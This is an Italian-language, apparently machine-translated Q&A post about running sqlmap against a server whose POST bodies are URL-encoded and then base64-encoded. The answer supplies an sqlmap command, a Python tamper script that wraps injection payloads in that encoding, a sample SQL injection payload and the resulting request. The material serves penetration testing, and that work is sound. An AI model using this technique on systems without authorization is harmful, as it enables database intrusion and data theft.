esegue sqlmap con la richiesta http post con i dati di codifica

1

Ho un obiettivo che la richiesta http post da quella codificata come segue:

richiesta dati carica prima url encoded e poi base64 encoded.

esempio richiesta di post dal target menzionato Come segue:

POST /test/test-page.php HTTP/1.1
Host: target.com
bmFtZTElM0R2YWx1ZTElMjZuYW1lMiUzRHZhbHVlMg==

per la decodifica del post di richiesta dei dati occorre prima decodificare base64 e quindi decodificare url. Attuale dopo la decodifica Qualcosa come il seguente:

POST /test/test-page.php HTTP/1.1
Host: target.com
name1=value1&name2=value2

Ora la mia domanda è: come eseguire sqlmap su questa destinazione durante le query iniettate nei valori dei parametri dal post di richiesta dati e quindi codificare Simile come menzionato e quindi inviarlo al server target

    
posta alrz 07.01.2017 - 11:22
fonte

1 risposta

2

Sqlmap supporta diversi modi per elaborare i parametri con codice personalizzato. Puoi usare --eval per base64-encode un singolo parametro, in questo modo:

--eval "import base64; paramname = base64.b64encode(paramname)"

Inoltre, puoi utilizzare il parametro --tamper per caricare uno script python personalizzato che modifica il carico utile.

Sfortunatamente non è semplice manomettere la stringa di query intera POST. Ma ecco un suggerimento per una soluzione alternativa:

Specifica una stringa di dati vuota nel comando sqlmap (usa l'asterisco ( * ) per indicare il punto di iniezione) e dichiara uno script --tamper :

$ ./sqlmap.py -u "http://example.com/" --data "*" --method POST --tamper mytamper

Lo script di manomissione potrebbe essere simile a questo:

import base64
import urllib

def tamper(payload, **kwargs):
    params = 'name1=value1%s&name2=value2' % payload

    data = urllib.quote_plus(params)
    data = base64.b64encode(data)

    return data

Questo script inserisce il carico utile nella tua query ed esegue le conversioni di codifica URL e base64. Attualmente verifica il parametro name1 . Dovresti modificare manualmente il punto di iniezione se vuoi controllare l'altro.

Per il payload di esempio ) AND 3825=3825 AND (7759=7759 si finirebbe con una richiesta come questa:

POST / HTTP/1.1
Host: example.com
User-agent: sqlmap/1.0-dev-6fef294 (http://sqlmap.org)
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
[...]
Content-type: application/x-www-form-urlencoded; charset=utf-8
Content-length: 92
Connection: close

bmFtZTElM0R2YWx1ZTElMjkrQU5EKzM4MjUlM0QzODI1K0FORCslMjg3NzU5JTNENzc1OSUyNm5hbWUyJTNEdmFsdWUy

Come puoi vedere il corpo POST è codificato con URL e base64

    
risposta data 07.01.2017 - 17:46
fonte

Leggi altre domande sui tag